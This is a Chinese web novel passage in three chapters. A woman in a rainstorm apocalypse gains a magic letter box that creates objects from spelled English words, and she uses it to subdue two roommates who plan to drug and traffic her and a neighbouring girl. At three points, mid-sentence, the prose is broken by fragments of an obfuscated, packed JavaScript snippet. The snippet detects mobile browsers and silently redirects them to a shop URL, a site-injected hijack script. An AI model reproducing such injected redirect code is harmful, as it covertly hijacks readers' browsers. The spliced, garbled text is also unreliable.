《末世海上漂流屋,但用英语建》 1. 木筏 raft 走出地铁站,无须抬头便知乌云压顶。 像小说里的末世,仿佛下一秒就会开始永无休止的大降雨。 要真是末世便好了,至少不用再加班。桑浔面无表情想着。 如果不是今天气象局发布红色暴雨预警,全市都要求提前下班,她指定会破纪录地连续两周加班到午夜,然后下一站猝死。 走出几步,久违地看见那个只在上下班高峰期摆摊的卖饭团阿姨,阿姨正好也看过来,在四目相对时开口: “最后两个饭团,总共三十,剩下的小料都包给你!” 总是这样,所有人都觉得她是老好人,可以在她这儿占便宜。连饭团阿姨也是,想着让她把东西包圆,自己就能赶紧收摊回家。 桑浔叹气,她多希望自己能张口就拒绝。 但她做不到。尤其是在知道饭团阿姨的故事之后,她会尽自己所能照顾阿姨生意,况且阿姨的饭团味道还是不错的。 此刻,掏出手机扫码是她唯一的选择。 阿姨倒也没有太占她便宜,把剩下的里脊腊肠咸蛋黄什么的全都裹进去,蛮有诚意,放在平时估计得要四十块了。 两个巨大的饭团被递到她手上,像两个老式手榴弹。 “这两个饭团都是长形,特别紧实。小美女,今天你记住一个词:勇敢。” 这是阿姨的“特色”占卜,每次根据捏出饭团的手感和形状,送给客人一句今日运势。当然,不管来的是什么客人,饭团是什么手感,阿姨嘴里说出来的,都是好话,至少从来没有让人不喜欢的话。 桑浔从未把这当回事,只觉得这是阿姨给自己手艺不稳定找的借口。 勇敢什么的,她不需要。她只想赶紧回家,吃完饭团,去床上躺着看小说。最好谁都别来找她,尤其是工作。 然而想什么来什么。刚把饭团接到手上,手机便响起,工作群里有人@她。 叹着气回复完消息,收起手机抬头,阿姨和她的小摊早已不见踪影。 跑得真快。 但阿姨落下了东西——刚才她摆摊的位置,地上躺着一张塑封的照片,A4纸大小。 只需一眼,便能认出这是阿姨常年摆在摊上的照片。照片上是她的女儿。左半边是多年前的旧照,梳着麻花辫的小女孩,小虎牙和左眼尾的痣非常明显,笑得灿烂。右半边是电脑生成的、模拟成年后的照片,虎牙和痣还在,而眼神略带悲伤。 照片对阿姨很重要,桑浔下意识捡起收进包里,打算下次再见到时还给她。 但照片旁边还有东西,是……钓鱼竿? 这也是阿姨落下的? 轰隆隆的低雷从头顶滚过,来不及多想,桑浔一并拿起钓竿,快步往小区走。 她租的房子在小区最深处,要绕过一个人工湖才能看见。虽然要与人合租,但这是她现在能负担的最好选择了,离地铁站不远,房间也有窗户,小区物业也算负责。 人工湖不大,绕湖边种了一圈柳树。在夏末本是很好的风情,但今天,黑压压的柳树却似鬼魅,有些瘆人。 不过为了节约时间,她还是走上了穿湖而过的桥。 刚走到桥上,耳边传来“啪嗒”一声。 像命运的召唤。 忘记了害怕,她看向发出声音的方向:不远处的湖中心,水面下有什么东西在动。 鬼使神差地,她将刚才捡来的钓竿朝湖心甩去。 很快,浮标上下晃动,有东西上来了。 幼时的肌肉记忆突然觉醒,桑浔稳住手腕,用力一甩——有东西上来了!还挺沉。 那是个深绿色的包裹,发出幽暗的奇怪光线。还来不及细看,下一秒,惊雷骤响,豆子般的雨点猛然砸了下来。 她失去了意识。 * 睁开眼,桑浔发现自己坐在卧室的桌旁。耳边是窗外隐约可闻的细密雨声,而房内一片漆黑。 自己已经回到家里?怎么回来的?她在脑中使劲挖,挖出的记忆却只能停在钓上绿色包裹的瞬间,那之后完全没有印象。 那个包裹。 闪着幽光的绿色包裹就在桌面上,将漆黑的房间照出一层暗绿色轮廓。桑浔打了个冷颤,伸手按向电灯开关。 没反应。 停电了?她看向窗外,耳朵能听见白噪音般的雨声,但眼里一片黑。看不到对面的楼,也看不到楼下的人工湖,世界仿佛被黑雨吞噬。 打开手机,先下意识点进三个不同项目的工作群,扫过每条消息,确认没有需要自己马上处理的事情,然后她才进入自己这栋楼的住户群。 群里显示999+未读消息。 【怎么偏偏这时候停电?吓死人了!】 【谁家里有蜡烛,求借。】 【我有蜡烛,但没有打火机,愿意拿蜡烛换。】 【不需要打火机哦,煤气灶上的火就行。】 【物业提醒:雨情凶险,请各位业主减少外出,尽量待在家中。目前整片社区均遭遇停电,并非本小区一处,市政已在积极抢修。物业当前全员值班,竭诚为您服务。各位业主如有任何需求,请及时联系物业。也可在群内寻求帮助。同时务必小心火烛,关闭燃气,拔掉电器电源,以避免任何火情风险、燃气泄漏风险。感谢您的配合。】 看来是暴雨导致这一片地区都停了电。她没有蜡烛,也不打算找人借。房间里还有充电宝,笔记本也基本满电,熬过今晚应该不成问题。 但她有别的问题。 那个幽绿的包裹。 包裹似乎能控制她的举动,先前是让她在没有意识的情况下回到家中。此时也一样,等她发现自己在干什么时,包裹已经被打开,手上是一个盒子。 一个银色金属盒子,和笔记本电脑差不多大,但厚度多出一倍。看不出什么特别。唯一的特别之处,是从缝隙处漏出的绿光。 打开盒子,绿色光芒瞬间充斥视野。隔了好几秒,桑浔才适应了这绿光,看清楚里面的东西。 这是……英文字母? 盒子里一共有四行,每行都隔出格子,每个格子里有一个幽绿的字母。 从左到右,从上到下分别是: a、b、c、d、e、f、g h、i、j、k、l、m、n o、p、q、r、s、t u、v、w、x、y、z 这是小朋友英语启蒙的教具吗?谁家小孩学英语学疯了,把教具扔进湖里? 拿出一个字母L观察,说不上是什么材料做成,不像塑料、不像硬纸板、不像金属、不像玉,也不像木头。硬要说的话,手感好像小时候母亲出差回来给她带的雨花石,但又比雨花石轻很多。 正要把L放回去,她突然发现,原本的格子里,不知何时又出现了一个L。 明明刚才格子里只有一个L,在她拿出来之后,格子就空了呀?! 桑浔试探着把手上的L放进去,一道绿光之后,两个L合二为一,格子里仍然只有一个字母。 她又随机拿了好几个字母,眼睛却紧盯着盒子。果不其然,那些字母被拿走的格子里,丝滑地出现了新的字母顶上。 阖上金属盒,她上下翻看,满脑袋问号。这到底是什么东西?取之不竭的英文字母? 困惑之时,窗外一道惨白闪电劈开夜空,巨雷响起,与此同时,“咚!咚!”——房门被猛地敲响。桑浔吓得一颤,盒子脱手飞了出去。 想象中金属落地的声响并没有出现,盒子安静落在地上,盖子打开,几个字母掉到了地上。 “桑浔?桑浔在家吗?”是同租室友的声音。 正想开口回答,余光突然看到地上有东西开始闪烁。 那是刚才掉下来的四个字母:r、a、f、t。 随着闪光,这四个字母竟像有自主意识般,自行在地板上移动,凑在一起,拼成了一个单词:raft。 雷声再次响起,房间内闪过一道强光—— 【口令正确。开启末世文明存续方舟舰队——英语舰支线。】 眼前出现这样一行字。 什么意思?末世?文明存续?英语舰? 紧接着,下方出现第二行字: 【获得原始形态:木筏raft】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482783|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个钥匙扣大小的迷你木筏漂浮在眼前的空气中,前方有两个同样浮在空中的按钮:【开始使用】、【暂不使用】。 震惊中,桑浔忘记了刚才还有人敲门的事情,手指像是有自己的意识,径直点了【开始使用】。 下一秒,本就不大的房间里,多出了一顶木筏! 木筏目测长4米,宽1.5米,占满了她房间仅剩的空间,还把桌子挤到一旁,桌上的小零碎掉落一地。 木筏本身就是几根圆木拼在一起,看不出什么特殊。 不,也有特殊之处,刚才还在地上的几样东西:她的背包、饭团,还有捡来的钓竿和金属盒子,都自动来到了木筏表面。 再下一秒,眼前又出现了文字。 【欢迎登陆英语舰原始形态——木筏。此形态下仅有避难功能。是否开启木筏使用教程?】 【是】【否】 看过无数网文的桑浔意识到,自己好像……开启了某个不得的剧情线。 不会是在做梦吧?是不是因为加班太久,自己其实回到家后已经睡着了?这所谓的木筏,其实只是她潜意识的投射? 不管,就算是梦,也是个值得她探索的梦。 深吸一口气,抬腿迈上木筏,手指点向【是】。 站在木筏上的感觉,该怎么说呢? 就是想象中站在木筏上的感觉。脚下是圆木,捆得很整齐紧实,可以从脚底感觉到圆木之间的缝隙,却也不至于太大缝隙。 但,似乎有什么不一样。 很快她意识到,不一样的地方在于,自己的视觉变了。 刚才房间因为停电,只有盒子发出幽绿的光,除此之外一片漆黑。 但此时,她可以清楚地看到房间里的每个摆设,甚至抬头向外看,原本暗如末日的窗外,现在也能看清树冠和远处的楼,就像在大白天一样。 不,比白天还要清楚。 【木筏功能一:木筏自带清晰成像系统,即使在无光源环境下,也可以看清周围环境。】 想了想,她从木筏上下来,目之所及,又变回了一片黑暗。重新站上木筏,立刻恢复清明。 【木筏功能二:木筏自带降噪系统,可主动过滤背景环境噪音,增强直径10米内信息音。】 像降噪耳机那样吗?正这样想着,突然就有清晰的说话声进入耳中: “她肯定在房间,不敢给我们开门而已。”说话的男声,是她的室友之一。 隔壁室友是一对情侣,搬来不到一个月。男的叫大坦,女的叫程媛。这两人不知道做什么工作,看着挺有钱,吃穿用度都不省着。 可这样不缺钱的情侣为什么不自己租一套房子,而是要和别人合租,她想不明白。尤其那男生,晚上的呼声震天响,隔着墙都能吵到桑浔,还害她买了好几对睡眠耳塞。要不是心疼租房押金,她早就找新的房子了。 那女生,每晚真的能睡着吗? “放心,雨这么大,还停电,她肯定害怕得要命。待会咱们再去敲敲门,她就出来了。” 说话的是程媛。这是个很喜欢问别人隐私的人,查户口一样,好几次都把桑浔问得面露难色。可这人偏像没看到似的一直追问。 桑浔本就不喜欢和别人聊自己,所以只要发现程媛在客厅或者厨房,就尽量待在自己房间。 “她出来之后你机灵点,温柔点,不要把人再吓回去。”男生的声音继续传进耳中。 这是大坦,和她没说过几句话,但有时桑浔会觉得他在用奇怪的眼神看自己。 虽然可能只是多虑了。 大坦继续:“我手里的药没剩多少,只够在她身上用这一次了。” 桑浔眨眼。什么意思? 两秒后,她反应过来:大坦手上有某种药,要用在自己身上。 感知到危险的瞬间,她四肢僵硬,不知该如何应对,只凭着本能屏住呼吸,生怕自己的呼吸声被隔壁听到。 还来不及处理听到的信息,眼前又出现一行文字。 【木筏功能三:避难者登上木筏时,自动打开屏障,屏障兼具隐身功能和避难者保护功能。】 2. 甩棍 telescopic 窗外再次响起惊雷,像在提醒桑浔,一门之隔,危险正虎视眈眈。 木筏有如天降,此时正好成为她的安全屏障,只是不知道能否应对隔壁那两个人。 而敲门声再次响起。 “桑浔,我刚才听到你在里面了。”隔壁女生的声音响起,“我就是担心你一个人在家,会不会害怕停电。你要不要来客厅和我们一起坐会儿?” 脑子一片混乱。无数个想法冒出来,但每个都只冒出一半,想不透,厘不清。程媛他们到底想干吗?为什么一定要让她出房间?下药的意思……是她理解的那个意思吗? 警钟急敲,她不知威胁到底是何,但至少还有求生的本能,让她下意识地放轻呼吸,站在木筏上,保持安静。 希望程媛这次也放弃,回房间去。 可期待的事情并未发生,相反,门外传来大坦的声音:“媛媛,我刚才明明听见她房间有声音,现在却不回答,不会是因为天黑撞到什么东西,在房间里摔倒受伤了吧?” 冷汗直下。 程媛赶紧接话:“对啊!我也听到了,要是摔倒可就危险了,咱们得赶紧帮她。不然你把门撞开吧。” 撞门?他们要硬闯? 还没反应过来,门上立刻传来一声闷响,桑浔差点叫出声。 第一下,门没有被撞开。 很快第二下,第三下。门框发出承受不住的声音。 第四下,门应声破裂,一团黑影随之砸进屋内。 站在木筏上的桑浔,眼睛死死顶住那黑影,手中紧握U盘大小的防狼□□。这是她刚才最后一刻跳下木筏、从床头柜上拿来的。 接着,黑影点亮手机的电筒,在她房间慢慢扫过。 在桑浔的视线里,站在木筏上时,房间本来就是可以看清的。而现在,被手机电筒光照到的地方,像是明显提升了一级亮度。 她眼睁睁看着先是床的位置被照亮,然后马上就是木筏的位置,如果这所谓的隐身功能真的有用,那下一秒电筒光束照到木筏上时…… 电筒继续移动,没发现任何异常,继续照过整个房间,直到最侧边的墙壁。 “奇怪,真的没人。那刚才的声音哪来的?” 无声呼出一口气,桑浔默默等待心脏从嗓子眼重新归位。这个隐身功能,居然真的有效。 这木筏,果然是个了不起的东西。 两人嘀嘀咕咕离开,却并没回他们自己房间,而是在外面的客厅坐下。 屋内的桑浔也小心在木筏坐下,竖起耳朵听。 “雨下成这样,她不会晚上睡公司了吧?”程媛说,“怎么办啊大坦,今晚是最后的机会了,明天朱姐她们必须得绑个人走。” 绑个人?脑中浮现出某种画面,桑浔不禁打了个冷颤。 大坦语气里透着烦躁:“你让我想想……不行我太饿了,想不动。你先去给我弄点吃的再说。” 程媛抱怨着去了厨房,客厅暂时安静下来。 刚才两人把她的门砸坏了,现在门半开着,从桑浔的角度,能看到客厅沙发上的大坦。 现在的情况是,她被人堵在卧室,不能发出声音。屋内不再安全,而唯一的出路客厅被对方占据。 她能报警吗?打110时的声音会不会被听到?所谓的屏障,能隔绝声音吗?就算打了110,在还没有受到伤害的情况下,警察会在这大雨天出警吗?能及时赶到吗?所有这些画面,但是想象,就让她感到害怕。 怎么办? 勇敢。 这两个字突然闯进她脑中。 饭团阿姨的话在耳边响起:今天你记住一个词,勇敢。 忘记了之前对饭团占卜的偏见,此时她突然就想要相信那句占卜。 她要勇敢。 看向手上的□□,这只是个口红大小的东西,最多能把人电疼,短暂失去行动力,但根本无法应对两个人。 她能找到更厉害的工具吗? 视线从□□滑落到木筏上的金属盒。 刚才这盒子里掉出四个字母,然后就出现了一系列怪事。她好像记得四个字母能拼成木筏的单词,R和A,还有两个记不得了。 脑中闪过一个念头。 桑浔看向铁盒子里的字母,只需想出一个单词,就能验证这个念头。 绞尽脑汁,终于想出一个。 手伸向第一个字母A,然后是P,然后等两秒后又拿出新出现的P,之后又取了两个字母出来。一共五个,放于木筏上,拼在一起。 APPLE。 一道闪光。【获得物资:苹果apple。】 看向客厅,大坦似乎没发现闪光。她松了口气,看来这屏障能够屏蔽掉木筏内的光亮。 接着她看向刚才字母的地方,那里有一颗苹果。 猜对了!这个字母铁盒,是拼单词掉落物资的百宝箱,有了它,就可以变出任何需要的东西。 这铁盒,一定能帮她摆脱当前的困境。 只有一个问题。 她的英语,早就还给老师了。 除了平时工作上会假模假式地用一些report呀campaign什么的,她靠自己能想起来而且拼出来的英语词,基本就只有刚才的apple了。 最多还能拼出个banana和milk。 要是有字典就好了。 对了,虽然没有字典,但有手机啊。想到这里,她掏出手机,打开上面的AI应用,打算查词。 正思考要查什么词,窗外又划过一道闪电,雨幕清晰可见。 脑中也如一道闪电划过,今晚经历的很多事情突然就连到了一起。 大雨、钓竿、木筏。 末世、方舟舰队、避难。 桑浔深吸一口气,这、这不就是她看过的那些网文里描写的末世? 而这木筏、这铁盒,不就是她的金手指? 想到这里,她不由苦笑。自己肯定是在做梦没跑了,毕竟现实生活怎么可能真的末世降临? 退一万步说,就算不是做梦,末世真的降临,这如此完美的金手指,也不可能偏巧落在她头上。 毕竟她活到现在,在运势这件事上,真的没什么美好回忆。 对,一定是做梦。 不过既然已经在做梦了,不妨让梦中的自己勇敢一点、决绝一点,拿出她读过无数末世天灾文的气势,将这噩梦扭转为爽文。 末世求生,囤货必然是第一要务。她想了两秒,在AI应用里输入提示词:【在大降雨开启的水灾末世,列出独居女生必需的求生物资,并翻译成英文。】 几秒后,AI开始生成大段文字。一眼扫过去,有户外净水器、煤油取暖炉、手摇发电机、长柄捡拾器之类的硬东西,也有生活必备的压缩饼干、消毒机之类,甚至还有女生必备的卫生巾与棉条。她来不及细看内容,先赶紧截屏保存。 “过来吃饭,吃完饭赶紧想办法。”程媛的声音突然响起,吓得桑浔手一抖,手机直接摔到木筏上,发出声响。 完了,她绝望地想,外面俩人一定听见了。 可他们没听见。 这样看来,似乎木筏的屏障还能隔绝里面发出的声音。 大坦从沙发移动到餐桌,骂了一句:“艹,你就给我吃方便面啊?” “有的吃就够了啊,这种天气也叫不来外卖,不爱吃别吃。” 程媛的声音明显焦躁:“好不容易找到这么个没有家人的女人,送走了也没人想着找她,多完美。今天任务要是完不成,让朱姐不高兴了,这方便面说不定就是咱俩的最后一顿。” 桑浔的心沉了下去。 虽然不知道朱姐是谁,想要什么,但听上去,朱姐是个比客厅这两人更危险的人。 她必须解决掉程媛和大坦,否则……后果不堪设想。 先别管末世求生了,直接切换成出租屋求生吧。她转而问AI:【女生一人独居,可以提前准备哪些自保物品,以应对有人破门伤害?】 AI给出了一堆建议,比如报警什么的,但在这种暴雨天气根本就是废话。只有两个东西勉强算有用:防狼电弧枪,还有防身甩棍,都是在不违法的情况下能用的自保武器。 前者她已经有了,后者她赶紧问出了对应的英文词:telescopicbaton。 完全不认识,但,还是相信AI吧。 手忙脚乱地从字母盒里一个个捡字母拼,中途还拼错了两次,桑浔终于拼完两个超级长的词。 一道闪光——【获得物资:甩棍telescopicbaton】 将黑色甩棍握在手上,粗细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482784|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和质感正好,很适合女生的手掌大小,表面也有防滑纹路。 握紧棍柄,她回想以前看过的探案剧里的动作,用力向下甩。 “唰”的一声,棍体被猛地甩出并锁定,空气发出震动,一股力量感从掌心传来,陌生,但为她注入勇气。 借着木筏的隐形屏障,她练习了好几次甩棍、挥动和打击,动作从生涩逐渐变为流畅。 内心的不安稍许消散。但她清楚,仅靠现有的甩棍和电弧枪是完全不够的。她只有一人,对方两人,其中还有一个明显比她力气大的男子。一对二情况下,她的胜算约等于零。 要么,她得靠绝对压制的武器来制服对方,但她没有。 要么,她得想办法让这两人分开,一次解决一个。 但怎样才能将他们分开? 客厅外的两人已经吃完了东西,开始说话。桑浔停下练习甩棍的动作,竖起耳朵听。 “你不能跟朱姐解释一下吗?今天这暴雨,那女人根本没回来,咱们去哪儿给她变个大活人出来?就不能缓两天吗?” 这是大坦的声音。 “不能。朱姐她们每次带人出去的路线日期都是提前备好的,晚一天就多一堆变数。我要是敢让她缓两天,以后就别想再跟她混了。”程媛的声音。 “妈的,非得赶上今天下雨,那你说怎么办?桑浔不回来,我总不能去隔壁随便敲晕一个人给你吧?” 两秒安静。 程媛突然说:“能啊!为什么不能?对门那对母女不就可以?那妈妈太老了,但女儿应该可以吧。” 后颈寒毛炸开,桑浔心跳都停了一拍。 这对情侣,她虽然接触不多,但一直觉得就是普通人,不好,也不至于坏。 可现在看来,他们竟一直在打自己的主意,企图作恶。而且因为找不到自己,还把主意打到对面的母女身上! 那是对相依为命的母女,妈妈好像是学校老师,女儿在上小学。平时在楼道里碰上,小女孩都会大方笑着和桑浔打招呼。而妈妈看女儿的眼神,总是温柔如水。 让桑浔想起记忆中自己的妈妈。 她不能眼睁睁看那对母女被人伤害。快想,一定有什么办法能阻止大坦他们,她必须赶快想! 与此同时,客厅的两人已经有了动作。 大坦制定计划:“你先去对面敲门,就说男朋友没回来,家里又没有电,自己一个人害怕,想问有没有饭吃。” “我才不去要饭呢!你个傻——啊!”程媛还没反驳完,就被一记响亮的耳光打断,“你、你打我!” “闭嘴吧你,万一让对门听见怎么办?”大坦压低声音,但怒气冲冲,“要饭就要饭啊,你一个女的,大晚上自己在家,还没饭吃,她们肯定会心疼你、让你进她家啊。到时候你就把药下在……对了,你带瓶饮料过去,就说用饮料换吃的,下药不就更自然了。” 程媛暂时咽下生气与委屈:“可是药只够一个人啊,给她们两人下了,每个人都放不倒……” “没关系,至少她们晚上会睡得更沉。你记得一定亲眼看着她们都喝下药才回来。给你个口香糖,从对门出来前嚼两下,粘到门锁眼上。” 程媛明白了他的计划:“然后等她们半夜睡着了,咱们就进去收人。” 桑浔浑身发冷。 再快点,她需要自己的脑子动得再快点,赶紧出手制止。 可没等她想出来,外面两人已经做好了准备。程媛去对面敲门,大坦躲在在门内听。 从桑浔的位置,能勉强听到楼道里有人说话,但说话内容完全听不到。过了一会儿,楼道传来关门响,说话声同时消失。 程媛已经进入对面母女的家。 大坦露出得意的表情,从门上移开,将将转身,后腰突然传来剧痛。 他整个身体瞬间僵直,但却高频率的颤动着,伴随着噼啪爆响。 脖子拧成一个僵硬的角度,惊大的瞳孔中正好映出桑浔的脸,女孩恐慌、牙关紧咬,但没有退缩。 她左手用某个东西顶在男人的后腰,而右手将甩棍举过头顶,朝男人后颈敲下去。 两秒后,女孩收回左手的电——弧——枪,额头的汗跌上地板。 大坦失去知觉,高大身体没有了支撑,像轰然倒塌的柱子,直直砸向女孩。 3. 手铐 handcuffs 男人的身体直挺挺朝桑浔脸上砸来,她赶紧抬起手肘抵挡。 一百多斤的重量,生生将她砸到膝盖弯曲撑在地上。 片刻,她将身上的重量推开,大口喘气。 地上的人眼睛睁着,发出痛苦的哼叫,仔细听,痛苦里还带着愤怒。但至少他身体暂时失去了行动力,桑浔不敢耽搁时间,赶紧行动。 半蹲着从后背架起男人的上半身,往客厅里拖,短短三米不到的距离,愣是拖出她一身汗。把男人靠上墙后,她掏出一副手铐,把大坦的手铐在客厅暖气管上。 这样他就算恢复体力,也不至于逃脱。 站直身体,看着被困在暖气上的壮硕男子,她下意识拍了拍两手掌心并不存在的灰。 像是刚辛苦完成一个不错的作品。 威胁才解决二分之一,还有剩下的二分之一,在对门。她没有机会害怕,也没有机会后悔。 口袋里还有第二副手铐。这是桑浔刚才用字母盒变出来的。手铐,handcuffs。 她第一次明明按照AI给的英文单词拼对了,但就是变不出来。后来又仔细看了AI给的例句,才意识到手铐这个词,后面得加个s。 回想中学时候的英语课,她猜测是不是因为手铐是一对,在英语里算两个,所以要用复数?就像裤子的trousers要加s,因为是两条腿;手套的gloves要加s,因为是两只手;而鞋子shoes要s,因为是两只脚。 两个,算复数,得加s。这是她在脑中强化的第一个英语知识点。 又看了一遍自己的“作品”,她转身走进自己房间,从门后的挂钩上拿下一个轻型帆布袋,把手铐和甩棍放进去,而□□放进裤子口袋。然后,轻轻带上自己的门,离开自己的家,去敲了对面的门。 “哪位?”里面传来母亲的声音。 “您好,我是对门的桑浔,刚下班回家。请问程媛在您家吗?她男朋友在家里受伤了,让我来叫她回去。” 说出半分钟前想好的词,然后等待屋内的人开门。等待的过程中,她在心里一直默念,勇敢。 门开了个小缝,昏暗摇动的烛光从缝里露出来,还有那母亲小心的眼神:“啊,真是桑浔。程媛不是说她男朋友没回来吗?怎么你说受伤了?” 桑浔不急着解释,而是直接一脚伸进去,不顾那母亲的诧异,整个身子都进了她家:“阿姨,这件事您问我没用,得问她。” 她径直朝客厅餐桌旁坐着的女子走去。程媛看到她,眼睛瞪得巨大,忙要站起来。桑浔一秒也不浪费,直接掏出□□,对准她腹部就是一下。 噼啪声响后,程媛瘫到餐桌上。 “你在干什么?”那母亲赶紧上前查看,却又忌惮她手上的□□,不敢靠得太近。 桑浔看向餐桌,上面有两个杯子和只剩半瓶的瓶装茶饮料。程媛跟前的杯子还满着,但另一个杯子已经空了大半。 应该就是这位母亲喝的。 她解释道:“您不用怕,我不是坏人,她才是。您刚才喝的这茶,是她带过来的吧?里面可能下了药,您有感觉头晕之类的吗?” 对方下意识想摇头,却又似有所察觉,手指抚上太阳穴。 桑浔扶她坐在椅子上,告诉她不用害怕,先喝点水,尽量排出身体。说不定第二天就好了。 然后便去架程媛的身体。 那母亲伸手拦住她:“你要干什么?这到底怎么回事?我们应该报警的吧,还有给物业保安打电话。” 她说的其实有道理。但这种天气下,除非是极其严重的恶性案件,警方或者物业都不会冒暴雨过来。 不过桑浔没有反驳。报警也好。这两人想要做的事情,估计只有警察才能处理。 可掏出手机后,两人傻了眼。 没有信号。 因为停电,wifi本身就没有信号。可现在竟然连电话网络都没有信号。 小区微信群里原本冒个不停的消息,停留在两分钟前,再也没有新的消息。 而一门之隔的卧室里传来女儿的声音:“妈——我学习机连不上热点啦,怎么回事?” 桑浔心里咯噔,网络断了? 她查看自己的手机,没有网。调成飞行模式,又关掉飞行模式,还是没有网。这意味着,除了家里宽带引出来的wifi暂时不能用,连光纤入户的宽带、还有附近的手机基站,都全部瘫痪。 那她岂不是不能再问AI英语词了? 这个刚捡到的金手指,全靠着能上网查单词才有用。万一真是末世,网络再也恢复不了,岂不就…… 堪称史上最憋屈的末世金手指。 来不及哀悼金手指,桌上的程媛发出一声咕哝,像要醒过来的样子。身体先于头脑反应,桑浔掏出□□又给了她一下。 当务之急是把程媛扛回出租屋,不能让她留在这里,给这对母女带来危险。 幸好程媛比较轻,桑浔在那对母女的帮助下一起把她搬回自己家,然后铐在这对情侣自己卧室的暖气片上,确保这两个人分开关。 搬运过程中,她向母女俩三言两语解释了事情的缘由,当然省略了木筏的部分。那母亲听完倒吸一口气,反倒是十岁的女儿一点也不怕。 “姐姐你好厉害,你一个人制服了两个坏人,还救了我和妈妈诶!”女孩语气里满是崇拜。 从没有人对她表达过这样直白的崇拜,哪怕是小时候被邻居当作“别人家的孩子”,说她学习成绩好,也没有小孩这样星星眼过。 做个勇敢的人,感觉会被人崇拜,真好。 之前桑浔和这两位邻居只是点头之交,现在一同搬运程媛,她们反倒熟了起来。 小女孩叫苏归雁,她的妈妈叫苏语。 “苏老师,姐姐是不是很厉害?”女孩拽了拽妈妈衣袖。 桑浔也跟着叫老师:“苏老师,您和小雁快点回家,把门锁好。别轻易给别人开门,别心软,也别相信自称是物业的人,必须要先确认对方身份。” 想到自己看过的那些末世文里,人性的恶超出想象,她有义务提醒这对母女。 但苏语怎么可能在得到年轻女孩帮助之后,还留女孩独自与两个坏人共处一室?她坚持让桑浔和她们一起回去,在她们家里度过一晚。 “苏老师,我刚才还跟您说别心软,您并不真的了解我,怎么能带我回您家呢?” 苏语着急了:“你这孩子……那我也不能让你一人在这儿啊,万一他们俩醒来,或者挣脱了手铐呢?你要是有个三长两短……” 苏老师说得真挚,苏归雁也跟着劝。这让桑浔有些犹豫。 一方面,她的当务之急是在独立空间内研究金手指,比如她自己的房间。 但另一方面,想到要和那两个人渣在同一屋檐下共度一晚,她也真的不愿意。 反正现在断网查不了新词,不如先在安全的地方补充体力。 “这样吧苏老师,我简单收拾一下自己的东西,五分钟后去敲您的门。” 苏语却坚持让她打开大门,自己举着蜡烛,在两组对门的中间走廊等着她过来。 轻掩上自己的房间门,桑浔重新站上木筏。木筏上的东西都在,包括金手指字母盒,她统一收进自己的背包。 可是木筏要怎么收?钓竿要怎么拿?总不能就留在这里吧。 正发愁着,她发现视线角落里,木筏的尾部有什么东西在闪。凑近一看,是个链子。 那链子是极细的银色,一头通过坠子卡扣连在木筏上。难道……木筏可以变小、然后当作坠子戴在脖子上? 摸上链子,没什么特别之处,但连着木筏的卡扣上,有一个小小的旋钮。 扭动旋钮,眼前有一句话随着光亮出现。 【是否收起木筏?】 【是】【否】 还有两行小字。 【请注意,收起木筏时,位于木筏表面的一切物品自动收入木筏存储空间,木筏上站立的人自动落至当前外部空间。】 【下次打开木筏,只需再次扭动旋钮即可。】 她点了【是】,一道闪光,自己的脚重新回到房间地板上,而木筏直接变成了一个指节大小的项链吊坠。 从吊坠上看不出钓竿的影子,想必已经进入了那个所谓的存储空间。 将链子戴到脖子上,又往背包里塞进两个基本满电的充电宝,再加上背包里原本就有笔记本电脑和字母盒,肩上的担子变得又重又满,就像逃难。 桑浔背着她重重的壳,和苏语苏归雁回了她们的家。 雨越下越大。 苏语把苏归雁的卧室让了出来,她们母女俩睡主卧。推脱不得,桑浔只能从命。 躺在床上,她怎么也闭不上眼,一直在想自己看过的那些末世文。 囤货、升级、基建,甚至还有异能与进化。不同的文有不同的金手指。 但这不是最重要的。 最重要的是,世界以哪种方式崩坏,末世以哪种新规运行。 自己正在经历的是哪种?是大降雨覆盖住大部分地表,地球上只剩最后几处高原供人栖息,人们最终不得不适应水上生活? 或者,这降雨只是开胃菜,后面还有冰封或大干旱等一系列天灾? 还是说,天灾只是开头,人类将被迫经历进化、觉醒异能,甚至面对外星侵略者的威胁? 越想脑子越乱,彻底睡不着,最终桑浔还是没忍住,从包里掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482785|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出字母盒。 此刻再看,这些泛着绿色幽光的字母,已经不再是拼写游戏的玩具,而是创造物资的原材料。 只要她知道物品的英文单词、能正确拼出来,她就可以创造物资。 那么,不如现在就试试?她打开了不久前找AI问到的末世求生必备品列表截屏。 先从小点的东西开始,还能塞进包里的那种。卫生巾就不错,正好上个月存货用完,还没来得及买。 卫生巾的英文叫sanitarypad。这两个词她都不认识,先拼出来再说。 闪光过后,手上出现一片卫生巾。就只有一片。 但她还是很兴奋,只要多拼几次,就能有好多片了嘛。 接下来想试试食物,就压缩饼干吧。 AI给了两个翻译:emergencyfoodrations,还有highenergybars。 